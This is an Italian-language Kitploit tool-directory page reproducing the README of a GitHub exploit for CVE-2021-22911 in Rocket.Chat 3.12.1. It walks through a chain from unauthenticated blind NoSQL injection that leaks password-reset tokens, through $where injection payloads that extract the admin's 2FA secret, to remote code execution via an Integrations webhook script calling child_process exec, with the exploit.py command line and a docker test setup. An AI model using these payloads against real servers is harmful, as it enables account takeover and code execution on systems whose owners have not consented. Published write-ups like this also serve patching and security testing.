Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-22911 | Kitploit
Strumenti/GitHubGitHub/mrdottt/cve-2021-22911
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

Vedi Repository
13 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-22911

Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione di codice remoto in Rocket Chat 3.12.1

  • Il metodo getPasswordPolicy è vulnerabile ad attacchi di iniezione NoSQL e non richiede autenticazione/autorizzazione. Può essere utilizzato per impossessarsi degli account divulgando i token di reset della password. L'acquisizione di un account amministratore porta all'esecuzione di codice remoto.

Spiegazione

  1. Dirottamento dell'account utente (senza autenticazione)
  • C'è un'iniezione NoSQL nell'endpoint getPasswordPolicy nel parametro token del reset della password, che accetta un oggetto JSON permettendoci di usare l'operatore $regex. Lo usiamo per eseguire un'iniezione NoSQL cieca e ottenere il token di reset.
  1. Escalation dei privilegi ad admin (autenticato)
  • L'utente admin è molto probabilmente protetto da 2FA. Quindi anche se cambiamo la password dell'admin tramite (1), al login verrà richiesto il codice 2FA.

  • L'endpoint API users.list accetta un parametro query vulnerabile all'iniezione NoSQL. Siamo anche in grado di recuperare dati generando un errore.

  • Eseguiamo la seguente query per ottenere il segreto 2FA dell'admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Poi basta eseguire (1) per resettare la password dell'admin e usare il segreto 2FA per generare il codice con cui accedere.

  • Aggiornamento: puoi anche recuperare il token di reset nello stesso modo in cui hai recuperato il segreto 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE (autenticato - Admin)
  • Rocket.Chat ha una funzionalità chiamata Integrations che consente di creare webhook in entrata e in uscita. A questi webhook possono essere associati script che vengono eseguiti quando il webhook viene attivato.
  • Creiamo un'integrazione con il seguente script :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Poi basta attivare il webhook per ottenere la RCE :)

Utilizzo

  • Avrai bisogno dell'email di un utente con privilegi bassi che non abbia configurato la 2FA. ( -u )
  • Dovrai anche conoscere l'email dell'amministratore. Non è un problema se l'admin è protetto da 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Ambiente

  • Testato su Rocket Chat 3.12.1
  • Creare il proprio ambiente di test usando docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Abilita la Password Policy
  • Abilita la 2FA per l'Admin
  • Registra un utente normale.

NOTA: Se non vuoi che l'Amministratore sia protetto da 2FA puoi fare quanto segue.

  1. Invia la mail di password dimenticata
  2. Ottieni il token di reset per l'admin
  3. Cambia la password usando il token di reset recuperato
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Crediti

  • https://hackerone.com/reports/1130721 ( fonte Sonar )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Scarica lo strumento